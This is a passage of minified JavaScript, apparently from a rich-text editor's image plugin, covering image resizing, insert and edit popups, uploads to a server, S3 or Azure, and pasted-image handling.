arentWindow),y._mouseup,R),y.events.$on(f,"mouseleave",R);var r=1,a=null,o=0;y.events.on("keydown",function(e){if(L){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,n=e.which;(n!==a||200<e.timeStamp-o)&&(r=1),(n==kt.KEYCODE.EQUALS||y.browser.mozilla&&n==kt.KEYCODE.FF_EQUALS)&&t&&!e.altKey?r=te.call(this,e,1,1,r):(n==kt.KEYCODE.HYPHEN||y.browser.mozilla&&n==kt.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?r=te.call(this,e,2,-1,r):y.keys.ctrlKey(e)||n!=kt.KEYCODE.ENTER||(L.before("<br>"),F(L)),a=n,o=e.timeStamp}},!0),y.events.on("keyup",function(){r=1})}}(),!L)return!1;var e=y.$wp||y.$sc;e.append(c),c.data("instance",y);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),n=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);n-=y.helpers.getPX(e.css("border-left-width")),t-=y.helpers.getPX(e.css("border-top-width")),y.$el.is("img")&&y.$sc.is("body")&&(n=t=0);var r=Le();Te()&&(r=r.find(".fr-img-wrap"));var a=0,o=0;y.opts.iframe&&(a=y.helpers.getPX(y.$wp.find(".fr-iframe").css("padding-top")),o=y.helpers.getPX(y.$wp.find(".fr-iframe").css("padding-left"))),c.css("top",(y.opts.iframe?r.offset().top+a:r.offset().top+t)-1).css("left",(y.opts.iframe?r.offset().left+o:r.offset().left+n)-1).css("width",r.get(0).getBoundingClientRect().width).css("height",r.get(0).getBoundingClientRect().height).addClass("fr-active")}function C(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function E(e){Te()&&L.parents(".fr-img-caption").css("width",e),L.css("width",e)}function k(e){if(!y.core.sameInstance(c))return!0;if(e.preventDefault(),e.stopPropagation(),y.$el.find("img.fr-error").left)return!1;y.undo.canDo()||y.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var n=y.$oel.get(0),r=n.ownerDocument,a=r.defaultView||r.parentWindow,o=!1;try{o=a.location!=a.parent.location&&!(a.$&&a.$.FE)}catch(l){}o&&a.frameElement&&(t+=y.helpers.getPX(T(n).offset().left)+a.frameElement.clientLeft)}(d=T(this)).data("start-x",t),d.data("start-width",L.width()),d.data("start-height",L.height());var i=L.width();if(y.opts.imageResizeWithPercent){var s=L.parentsUntil(y.$el,y.html.blockTagsQuery()).get(0)||y.el;i=(i/T(s).outerWidth()*100).toFixed(2)+"%"}E(i),f.show(),y.popups.hideAll(),ge()}function x(e){if(!y.core.sameInstance(c))return!0;var t;if(d&&L){if(e.preventDefault(),y.$el.find("img.fr-error").left)return!1;var n=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!n)return!1;var r=n-d.data("start-x"),a=d.data("start-width");if((d.hasClass("fr-hnw")||d.hasClass("fr-hsw"))&&(r=0-r),y.opts.imageResizeWithPercent){var o=L.parentsUntil(y.$el,y.html.blockTagsQuery()).get(0)||y.el;a=((a+r)/T(o).outerWidth()*100).toFixed(2),y.opts.imageRoundPercent&&(a=Math.round(a)),E("".concat(a,"%")),(t=Te()?(y.helpers.getPX(L.parents(".fr-img-caption").css("width"))/T(o).outerWidth()*100).toFixed(2):(y.helpers.getPX(L.css("width"))/T(o).outerWidth()*100).toFixed(2))===a||y.opts.imageRoundPercent||E("".concat(t,"%")),L.css("height","").removeAttr("height")}else a+r>=y.opts.imageMinWidth&&(E(a+r),t=Te()?y.helpers.getPX(L.parents(".fr-img-caption").css("width")):y.helpers.getPX(L.css("width"))),t!==a+r&&E(t),((L.attr("style")||"").match(/(^height:)|(; *height:)/)||L.attr("height"))&&(L.css("height",d.data("start-height")*L.width()/d.data("start-width")),L.removeAttr("height"));S(),y.events.trigger("image.resize",[ye()])}}function R(e){if(!y.core.sameInstance(c))return!0;if(d&&L){if(e&&e.stopPropagation(),y.$el.find("img.fr-error").left)return!1;d=null,f.hide(),S(),o(),y.undo.saveStep(),y.events.trigger("image.resizeEnd",[ye()])}else c.removeClass("fr-active")}function N(e,t,n){y.edit.on(),L&&L.addClass("fr-error"),a[e]?B(y.language.translate(a[e])):B(y.language.translate("Something went wrong. Please try again.")),!L&&n&&ne(n),y.events.trigger("image.error",[{code:e,message:a[e]},t,n])}function M(e){if(e)return y.$wp&&y.events.$on(y.$wp,"scroll.image-edit",function(){L&&y.popups.isVisible("image.edit")&&(y.events.disableBlur(),o())}),!0;var t="";if(0<y.opts.imageEditButtons.length){var n={buttons:t+='<div class="fr-buttons">\n '.concat(y.button.buildList(y.opts.imageEditButtons),"\n </div>")};return y.popups.create("image.edit",n)}return!1}function O(e){var t=y.popups.get("image.insert");if(t||(t=j()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),L){var n=Le();y.popups.setContainer("image.insert",y.$sc);var r=n.offset().left,a=n.offset().top+n.height();y.popups.show("image.insert",r,a,n.outerHeight())}void 0===e&&D(y.language.translate("Uploading"),0)}function I(e){var t=y.popups.get("image.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-image-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||y.$el.find("img.fr-error").length)){if(y.events.focus(),y.$el.find("img.fr-error").length&&(y.$el.find("img.fr-error").remove(),y.undo.saveStep(),y.undo.run(),y.undo.dropRedo()),!y.$wp&&L){var n=L;pe(!0),y.selection.setAfter(n.get(0)),y.selection.restore()}y.popups.hide("image.insert")}}function D(e,t){var n=y.popups.get("image.insert");if(n){var r=n.find(".fr-image-progress-bar-layer");r.find("h3").text(e+(t?" ".concat(t,"%"):"")),r.removeClass("fr-error"),t?(r.find("div").removeClass("fr-indeterminate"),r.find("div > span").css("width","".concat(t,"%"))):r.find("div").addClass("fr-indeterminate")}}function B(e){O();var t=y.popups.get("image.insert").find(".fr-image-progress-bar-layer");t.addClass("fr-error");var n=t.find("h3");n.text(e),y.events.disableBlur(),n.focus()}function F(e){fe.call(e.get(0))}function P(){var e=T(this);y.popups.hide("image.insert"),e.removeClass("fr-uploading"),e.next().is("br")&&e.next().remove(),F(e),y.events.trigger("image.loaded",[e])}function $(i,e,s,l,c){l&&"string"==typeof l&&(l=y.$(l)),y.edit.off(),D(y.language.translate("Loading image")),e&&(i=y.helpers.sanitizeURL(i));var t=new Image;t.onload=function(){var e,t;if(l){y.undo.canDo()||l.hasClass("fr-uploading")||y.undo.saveStep();var n=l.data("fr-old-src");l.data("fr-image-pasted")&&(n=null),y.$wp?((e=l.clone().removeData("fr-old-src").removeClass("fr-uploading").removeAttr("data-fr-image-pasted")).off("load"),n&&l.attr("src",n),!y.opts.trackChangesEnabled||l[0].parentNode&&"SPAN"===l[0].parentNode.tagName&&l[0].parentNode.hasAttribute("data-tracking")||y.track_changes.replaceSpecialItem(l),l.replaceWith(e)):e=l;for(var r=e.get(0).attributes,a=0;a<r.length;a++){var o=r[a];0===o.nodeName.indexOf("data-")?e.removeAttr(o.nodeName):s&&s.hasOwnProperty(o.nodeName)&&e.removeAttr(o.nodeName)}if(void 0!==s)for(t in s)s.hasOwnProperty(t)&&"link"!=t&&e.attr("".concat(t),s[t]);e.on("load",P),e.attr("src",i),y.edit.on(),b(!1),l[0].src!=i&&y.selection.restore(),y.undo.saveStep(),y.events.disableBlur(),y.$el.blur(),y.events.trigger(n?"image.replaced":"image.inserted",[e,c])}else(e=K(i,s,P))&&(b(!1),y.undo.saveStep(),y.events.disableBlur(),y.$el.blur(),y.events.trigger("image.inserted",[e,c]))},t.onerror=function(){N(r)},O(y.language.translate("Loading image")),t.src=i}function H(e,t,n){D(y.language.translate("Loading image"));var r=this.status,a=this.response,o=this.responseXML,i=this.responseText;try{if(y.opts.imageUploadToS3||y.opts.imageUploadToAzure)if(201==r){var s;if(y.opts.imageUploadToAzure){if(!1===y.events.trigger("image.uploadedToAzure",[this.responseURL,n,a],!0))return y.edit.on(),!1;s=t}else s=function c(e){try{var t=T(e).find("Location").text(),n=T(e).find("Key").text();return!1===y.events.trigger("image.uploadedToS3",[t,n,e],!0)?(y.edit.on(),!1):t}catch(r){return N(h,e),!1}}(o);s&&$(s,!1,[],e,a||o)}else N(h,a||o,e);else if(200<=r&&r<300){var l=function d(e){try{if(!1===y.events.trigger("image.uploaded",[e],!0))return y.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(N(p,e),!1)}catch(n){return N(h,e),!1}}(i);l&&$(l.link,!1,l,e,a||i)}else N(u,a||i,e)}catch(f){N(h,a||i,e)}}function U(){N(h,this.response||this.responseText||this.responseXML)}function z(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;D(y.language.translate("Uploading"),t)}}function K(e,t,n){var r,a=T(document.createElement("img")).attr("src",e);if(t&&void 0!==t)for(r in t)t.hasOwnProperty(r)&&"link"!=r&&(" data-".concat(r,'="').concat(t[r],'"'),a.attr("".concat(r),t[r]));var o=y.opts.imageDefaultWidth;o&&"auto"!=o&&(o=y.opts.imageResizeWithPercent?"100%":"".concat(o,"px")),a.attr("style",o?"width: ".concat(o,";"):""),me(a,y.opts.imageDefaultDisplay,y.opts.imageDefaultAlign),a.on("load",n),a.on("error",n),y.edit.on(),y.events.focus(!0),y.selection.restore(),y.undo.saveStep(),y.opts.imageSplitHTML?y.markers.split():y.markers.insert(),y.html.wrap();var i=y.$el.find(".fr-marker");if(i.length)(i.parent().is("hr")||i.parent().is("IMG"))&&i.parent().after(i),y.node.isLastSibling(i)&&i.parent().hasClass("fr-deletable")&&i.insertAfter(i.parent()),i.replaceWith(a);else{if(y.opts.trackChangesEnabled)return I(!0),!1;y.$el.append(a)}return y.selection.clear(),a}function V(){y.edit.on(),I(!0)}function W(e,t){if(void 0!==e&&0<e.length){if(!1===y.events.trigger("image.beforeUpload",[e,t]))return!1;var n,r=e[0];if(!(null!==y.opts.imageUploadURL&&y.opts.imageUploadURL!=w||y.opts.imageUploadToS3||y.opts.imageUploadToAzure))return function C(a,o){var i=new FileReader;i.onload=function(){var e=i.result;if(i.result.indexOf("svg+xml")<0){for(var t=atob(i.result.split(",")[1]),n=[],r=0;r<t.length;r++)n.push(t.charCodeAt(r));e=window.URL.createObjectURL(new Blob([new Uint8Array(n)],{type:a.type})),o&&o.data("fr-old-src",o.attr("src")),y.image.insert(e,!1,null,o)}else y.image.insert(e,null,null,y.image.get())},O(),i.readAsDataURL(a)}(r,t||L),!1;if(r.name||(r.name=(new Date).getTime()+"."+(r.type||"image/jpeg").replace(/image\//g,"")),r.size>y.opts.imageMaxSize)return N(A),!1;if(y.opts.imageAllowedTypes.indexOf(r.type.replace(/image\//g,""))<0)return N(_),!1;if(y.drag_support.formdata&&(n=y.drag_support.formdata?new FormData:null),n){var a;if(!1!==y.opts.imageUploadToS3)for(a in n.append("key",y.opts.imageUploadToS3.keyStart+(new Date).getTime()+"-"+(r.name||"untitled")),n.append("success_action_status","201"),n.append("X-Requested-With","xhr"),n.append("Content-Type",r.type),y.opts.imageUploadToS3.params)y.opts.imageUploadToS3.params.hasOwnProperty(a)&&n.append(a,y.opts.imageUploadToS3.params[a]);for(a in y.opts.imageUploadParams)y.opts.imageUploadParams.hasOwnProperty(a)&&n.append(a,y.opts.imageUploadParams[a]);n.append(y.opts.imageUploadParam,r,r.name);var o,i,s=y.opts.imageUploadURL,l=y.opts.imageUploadMethod;y.opts.imageUploadToS3&&(s=y.opts.imageUploadToS3.uploadURL?y.opts.imageUploadToS3.uploadURL:"https://".concat(y.opts.imageUploadToS3.region,".amazonaws.com/").concat(y.opts.imageUploadToS3.bucket)),y.opts.imageUploadToAzure&&(o=s=y.opts.imageUploadToAzure.uploadURL?"".concat(y.opts.imageUploadToAzure.uploadURL,"/").concat(r.name):encodeURI("https://".concat(y.opts.imageUploadToAzure.account,".blob.core.windows.net/").concat(y.opts.imageUploadToAzure.container,"/").concat(r.name)),y.opts.imageUploadToAzure.SASToken&&(s+=y.opts.imageUploadToAzure.SASToken),l="PUT");var c=y.core.getXHR(s,l);if(y.opts.imageUploadToAzure){var d=(new Date).toUTCString();if(!y.opts.imageUploadToAzure.SASToken&&y.opts.imageUploadToAzure.accessKey){var f=y.opts.imageUploadToAzure.account,p=y.opts.imageUploadToAzure.container;if(y.opts.imageUploadToAzure.uploadURL){var u=y.opts.imageUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var h="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),g=encodeURI("/"+f+"/"+p+"/"+r.name),m=l+"\n\n\n"+r.size+"\n\n"+r.type+"\n\n\n\n\n\n\n"+h+"\n"+g,v=y.cryptoJSPlugin.cryptoJS.HmacSHA256(m,y.cryptoJSPlugin.cryptoJS.enc.Base64.parse(y.opts.imageUploadToAzure.accessKey)).toString(y.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;i=v,c.setRequestHeader("Authorization",b)}for(a in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",r.type),c.setRequestHeader("x-ms-blob-type","BlockBlob"),y.opts.imageUploadParams)y.opts.imageUploadParams.hasOwnProperty(a)&&c.setRequestHeader(a,y.opts.imageUploadParams[a]);for(a in y.opts.imageUploadToAzure.params)y.opts.imageUploadToAzure.params.hasOwnProperty(a)&&c.setRequestHeader(a,y.opts.imageUploadToAzure.params[a])}!function E(t,n,r,a,o,i){function s(){var e=T(this);e.off("load"),e.addClass("fr-uploading"),e.next().is("br")&&e.next().remove(),y.placeholder.refresh(),F(e),S(),O(),y.edit.off(),t.onload=function(){H.call(t,e,o,i)},t.onerror=U,t.upload.onprogress=z,t.onabort=V,T(e.off("abortUpload")).on("abortUpload",function(){4!=t.readyState&&(t.abort(),a?(a.attr("src",a.data("fr-old-src")),a.removeClass("fr-uploading")):e.remove(),pe(!0))}),t.send(y.opts.imageUploadToAzure?r:n)}var l=new FileReader;l.onload=function(){var e=l.result;if(l.result.indexOf("svg+xml")<0){for(var t=atob(l.result.split(",")[1]),n=[],r=0;r<t.length;r++)n.push(t.charCodeAt(r));e=window.URL.createObjectURL(new Blob([new Uint8Array(n)],{type:"image/jpeg"}))}a?(a.on("load",s),a.on("error",function(){s(),T(this).off("error")}),y.edit.on(),y.undo.saveStep(),a.data("fr-old-src",a.attr("src")),a.attr("src",e)):K(e,null,s)},l.readAsDataURL(r)}(c,n,r,t||L,o,i)}}}function G(e){if(e.is("img")&&0<e.parents(".fr-img-caption").length)return e.parents(".fr-img-caption")}function Y(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var n=t.files[0];if(n&&n.type&&-1!==n.type.indexOf("image")&&0<=y.opts.imageAllowedTypes.indexOf(n.type.replace(/image\//g,""))){if(!y.opts.imageUpload)return e.preventDefault(),e.stopPropagation(),!1;y.markers.remove(),y.markers.insertAtPoint(e.originalEvent),y.$el.find(".fr-marker").replaceWith(kt.MARKERS),0===y.$el.find(".fr-marker").length&&y.selection.setAtEnd(y.el),y.popups.hideAll();var r=y.popups.get("image.insert");r||(r=j()),y.popups.setContainer("image.insert",y.$sc);var a=e.originalEvent.pageX,o=e.originalEvent.pageY;if(y.opts.iframe){var i=y.helpers.getPX(y.$wp.find(".fr-iframe").css("padding-top")),s=y.helpers.getPX(y.$wp.find(".fr-iframe").css("padding-left"));o+=y.$iframe.offset().top+i,a+=y.$iframe.offset().left+s}return y.popups.show("image.insert",a,o),O(),0<=y.opts.imageAllowedTypes.indexOf(n.type.replace(/image\//g,""))?(pe(!0),W(t.files)):N(_),e.preventDefault(),e.stopPropagation(),!1}}}function j(e){if(e)return y.popups.onRefresh("image.insert",g),y.popups.onHide("image.insert",m),!0;var t,n,r="";y.opts.imageUpload||-1===y.opts.imageInsertButtons.indexOf("imageUpload")||y.opts.imageInsertButtons.splice(y.opts.imageInsertButtons.indexOf("imageUpload"),1);var a=y.button.buildList(y.opts.imageInsertButtons);""!==a&&(r='<div class="fr-buttons fr-tabs">'.concat(a,"</div>"));var o=y.opts.imageInsertButtons.indexOf("imageUpload"),i=y.opts.imageInsertButtons.indexOf("imageByURL"),s="";0<=o&&(t=" fr-active",0<=i&&i<o&&(t=""),s='<div class="fr-image-upload-layer'.concat(t,' fr-layer" id="fr-image-upload-layer-').concat(y.id,'"><strong>').concat(y.language.translate("Drop image"),"</strong><br>(").concat(y.language.translate("or click"),')<div class="fr-form"><input type="file" accept="image/').concat(y.opts.imageAllowedTypes.join(", image/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-image-upload-layer-').concat(y.id,'" role="button"></div></div>'));var l="";0<=i&&(t=" fr-active",0<=o&&o<i&&(t=""),l='<div class="fr-image-by-url-layer'.concat(t,' fr-layer" id="fr-image-by-url-layer-').concat(y.id,'"><div class="fr-input-line"><input id="fr-image-by-url-layer-text-').concat(y.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageInsertByURL" tabIndex="2" role="button">').concat(y.language.translate("Insert"),"</button></div></div>"));var c={buttons:r,upload_layer:s,by_url_layer:l,progress_bar:'<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 1<=y.opts.imageInsertButtons.length&&(n=y.popups.create("image.insert",c)),y.$wp&&y.events.$on(y.$wp,"scroll",function(){L&&y.popups.isVisible("image.insert")&&Ce()}),function d(r){y.events.$on(r,"dragover dragenter",".fr-image-upload-layer",function(e){return T(this).addClass("fr-drop"),(y.browser.msie||y.browser.edge)&&e.preventDefault(),!1},!0),y.events.$on(r,"dragleave dragend",".fr-image-upload-layer",function(e){return T(this).removeClass("fr-drop"),(y.browser.msie||y.browser.edge)&&e.preventDefault(),!1},!0),y.events.$on(r,"drop",".fr-image-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),T(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var n=r.data("instance")||y;n.events.disableBlur(),n.image.upload(t.files),n.events.enableBlur()}},!0),y.helpers.isIOS()&&y.events.$on(r,"touchstart",'.fr-image-upload-layer input[type="file"]',function(){T(this).trigger("click")},!0),y.events.$on(r,"change",'.fr-image-upload-layer input[type="file"]',function(){if(this.files){var e=r.data("instance")||y;e.events.disableBlur(),r.find("input:focus").blur(),e.events.enableBlur(),e.image.upload(this.files,L)}T(this).val("")},!0)}(n),n}function Z(){L&&y.popups.get("image.alt").find("input").val(L.attr("alt")||"").trigger("change")}function q(){var e=y.popups.get("image.alt");e||(e=X()),I(),y.popups.refresh("image.alt"),y.popups.setContainer("image.alt",y.$sc);var t=Le(),n=t.outerWidth()/2;Te()&&(t=t.find(".fr-img-wrap"),n=L.outerWidth()/2);var r=t.offset().left+n,a=t.offset().top+t.outerHeight(),o=t.outerHeight();y.opts.iframe&&Te()&&(o=L?L.outerHeight():0),y.popups.show("image.alt",r,a,o,!0)}function X(e){if(e)return y.popups.onRefresh("image.alt",Z),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(y.button.buildList(y.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(y.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(y.id,'" type="text" placeholder="').concat(y.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(y.language.translate("Update"),"</button></div></div>")},n=y.popups.create("image.alt",t);return y.$wp&&y.events.$on(y.$wp,"scroll.image-alt",function(){L&&y.popups.isVisible("image.alt")&&q()}),n}function Q(){var e=y.popups.get("image.size"),t=L.get(0).style.height?L.get(0).style.height:"auto",n=L.get(0).style.width?L.get(0).style.width:"auto";if(L)if(Te()){var r=L.parent();r.get(0).style.width||(r=L.parent().parent()),e.find('input[name="width"]').val(n).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}else e.find('input[name="width"]').val(n).trigger("change"),e.find('input[name="height"]').val(t).trigger("change")}function J(){var e=y.popups.get("image.size");e||(e=ee()),I(),y.popups.refresh("image.size"),y.popups.setContainer("image.size",y.$sc);var t=Le(),n=t.outerWidth()/2;Te()&&(t=t.find(".fr-img-wrap"),n=L.outerWidth()/2);var r=t.outerHeight();y.opts.iframe&&Te()&&(r=L?L.outerHeight():0);var a=t.offset().left+n,o=t.offset().top+t.outerHeight();y.popups.show("image.size",a,o,r,!0)}function ee(e){if(e)return y.popups.onRefresh("image.size",Q),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(y.button.buildList(y.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(y.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(y.id,'" type="text" name="width" placeholder="').concat(y.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(y.id,'" type="text" name="height" placeholder="').concat(y.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(y.language.translate("Update"),"</button></div></div>")},n=y.popups.create("image.size",t);return y.$wp&&y.events.$on(y.$wp,"scroll.image-size",function(){L&&y.popups.isVisible("image.size")&&J()}),n}function te(e,t,n,r){return e.pageX=t,k.call(this,e),e.pageX=e.pageX+n*Math.floor(Math.pow(1.1,r)),x.call(this,e),R.call(this,e),++r}function ne(e){if(e=e||Le(),y.opts.trackChangesEnabled&&!y.helpers.isMobile()&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return y.track_changes.removeSpecialItem(e),y.popups.hideAll(),void pe(!0);e&&!1!==y.events.trigger("image.beforeRemove",[e])&&(y.popups.hideAll(),Ee(),pe(!0),y.undo.canDo()||y.undo.saveStep(),e.get(0)==y.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(y.selection.setBefore(e.get(0).parentNode)||y.selection.setAfter(e.get(0).parentNode)||e.parent().after(kt.MARKERS),T(e.get(0).parentNode).remove()):(y.selection.setBefore(e.get(0))||y.selection.setAfter(e.get(0))||e.after(kt.MARKERS),e.remove()),y.html.fillEmptyBlocks(),y.selection.restore()),y.undo.saveStep())}function re(e){var t=e.which,n=document.getElementsByClassName("fs-transforms-container"),r=!1;if(n&&n.length){var a,o=He(n);try{for(o.s();!(a=o.n()).done;){var i=a.value;i.childNodes&&i.childNodes.length&&(r=!0)}}catch(c){o.e(c)}finally{o.f()}}if(r&&(L=null),L&&(t==kt.KEYCODE.BACKSPACE||t==kt.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),ne(),!1;if(L&&t==kt.KEYCODE.ESC){var s=L;return pe(!0),y.selection.setAfter(s.get(0)),y.selection.restore(),e.preventDefault(),!1}if(!L||t!=kt.KEYCODE.ARROW_LEFT&&t!=kt.KEYCODE.ARROW_RIGHT)return L&&t===kt.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),pe(!0),!1):L&&t!=kt.KEYCODE.F10&&!y.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var l=L.get(0);return pe(!0),t==kt.KEYCODE.ARROW_LEFT?y.selection.setBefore(l):y.selection.setAfter(l),y.selection.restore(),e.preventDefault(),!1}function ae(e){if(e&&"IMG"==e.tagName){if(y.node.hasClass(e,"fr-uploading")||y.node.hasClass(e,"fr-error")?e.parentNode.removeChild(e):y.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable"),e.parentNode&&e.parentNode.parentNode&&y.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var t=e.parentNode.parentNode;t.removeAttribute("contenteditable"),t.removeAttribute("draggable"),t.classList.remove("fr-draggable");var n=e.nextSibling;n&&n.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var r=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),a=0;a<r.length;a++)ae(r[a])}function oe(e){if(!1===y.events.trigger("image.beforePasteUpload",[e]))return T(e).removeAttr("data-fr-image-pasted"),!1;L=T(e),S(),o(),O(),L.on("load",function(){var t=[];S(),T(y.popups.get("image.insert").get(0)).find("div.fr-active.fr-error").length<1&&O(),T(this).data("events").filter(function(e){"load"===e[0]&&t.push(e)}),t.length<=1&&T(this).off("load")});for(var t=T(e).attr("src").split(","),n=atob(t[1]),r=[],a=0;a<n.length;a++)r.push(n.charCodeAt(a));W([y.browser.safari&&!y.opts.imageUploadURL?new Blob([new Uint8Array(r)],{type:t[0].replace(/data\:/g,"")}):new Blob([new Uint8Array(r)],{type:t[0].replace(/data\:/g,"").replace(/;base64/g,"")})],L)}function ie(){y.opts.imagePaste?y.$el.find("img[data-fr-image-pasted]").each(function(e,n){if(y.opts.imagePasteProcess){var t=y.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=y.opts.imageResizeWithPercent?"%":"px"),T(n).css("width",t).removeClass("fr-dii fr-dib fr-fir fr-fil"),me(T(n),y.opts.imageDefaultDisplay,y.opts.imageDefaultAlign)}if(0===n.src.indexOf("data:"))oe(n);else if(0===n.src.indexOf("blob:")||0===n.src.indexOf("http")&&y.opts.imageUploadRemoteUrls&&y.opts.imageCORSProxy){var r=new Image;r.crossOrigin="Anonymous",r.onload=function(){var e=y.o_doc.createElement("CANVAS"),t=e.getContext("2d");e.height=this.naturalHeight,e.width=this.naturalWidth,t.drawImage(this,0,0),setTimeout(function(){oe(n)},0),n.src=e.toDataURL(kt.IMAGE_TYPE)},y.browser.msie&&kt.IMAGE_ALLOW_REGEX.test(n.src)&&(kt.IMAGE_TYPE="image/"+n.src.split(kt.IMAGE_ALLOW_REGEX)[1]),r.src=(0===n.src.indexOf("blob:")?"":"".concat(y.opts.imageCORSProxy,"/"))+n.src,0!==n.src.indexOf("blob:")&&y.undo.saveStep()}else 0!==n.src.indexOf("http")||0===n.src.indexOf("https://mail.google.com/mail")?(y.selection.save(),T(n).remove(),y.selection.restore()):T(n).removeAttr("data-fr-image-pasted")}):y.$el.find("img[data-fr-image-pasted]").remove()}function se(e){var t=e.target.result,n=y.opts.imageDefaultWidth;n&&"auto"!=n&&(n+=y.opts.imageResizeWithPercent?"%":"px"),y.undo.saveStep(),y.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(n?' style="width: '.concat(n,';"'):"",">"));var r=y.$el.find('img[data-fr-image-pasted="true"]');r&&me(r,y.opts.imageDefaultDisplay,y.opts.imageDefaultAlign),y.events.trigger("paste.after")}function le(e,t){var n=new FileReader;n.onload=function r(e){var t=y.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=y.opts.imageResizeWithPercent?"%":"px"),y.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var n=y.$el.find('img[data-fr-image-pasted="true"]');n&&me(n,y.opts.imageDefaultDisplay,y.opts.imageDefaultAlign),y.events.trigger("paste.after")}(t),n.readAsDataURL(e,t)}function ce(e,t){var n=t||e&&e.clipboardData;if(n&&n.items){var r=(n||window.clipboardData).getData("text/html")||"";y.browser.mozilla&&(""===r||/<!--StartFragment-->([ ])<!--EndFragment-->/.test(r))&&(r=y.win.localStorage.getItem("fr-copied-html"));var a=(new DOMParser).parseFromString(r,"text/html").querySelector("img");if(a&&!y.opts.imageUploadURL){if(!a)return!1;var o=a.src,i=null;if(n.types&&-1!=[].indexOf.call(n.types,"text/rtf")||n.getData("text/rtf"))i=n.items[0].getAsFile();else for(var s=0;s<n.items.length;s++)if(i=n.items[s].getAsFile()){kt.IMAGE_TYPE=i.type;break}if(i)return le(i,o),!1}else{var l=null;if(n.types&&-1!=[].indexOf.call(n.types,"text/rtf")||n.getData("text/rtf"))l=n.items[0].getAsFile();else for(var c=0;c<n.items.length&&!(l=n.items[c].getAsFile());c++);if(l)return function d(e){var t=new FileReader;t.onload=se,t.readAsDataURL(e)}(l),!1}}}function de(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function fe(e){if("false"==T(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&n)return!0;if(e&&y.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<kt.INSTANCES.length;t++)kt.INSTANCES[t]!=y&&kt.INSTANCES[t].events.trigger("image.hideResizer");y.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault()),y.helpers.isMobile()&&(y.events.disableBlur(),y.$el.blur(),y.events.enableBlur()),y.opts.iframe&&y.size.syncIframe(),L=T(this),Ee(),S(),o(),y.browser.msie?(y.popups.areVisible()&&y.events.disableBlur(),y.win.getSelection&&(y.win.getSelection().removeAllRanges(),y.win.getSelection().addRange(y.doc.createRange()))):y.selection.clear(),y.helpers.isIOS()&&(y.events.disableBlur(),y.$el.blur()),y.button.bulkRefresh(),y.events.trigger("video.hideResizer")}function pe(e){L&&(function t(){return ue}()||!0===e)&&(y.toolbar.enable(),c.removeClass("fr-active"),y.popups.hideAll(),L=null,ge(),d=null,f&&f.hide())}a[r]="Image cannot be loaded from the 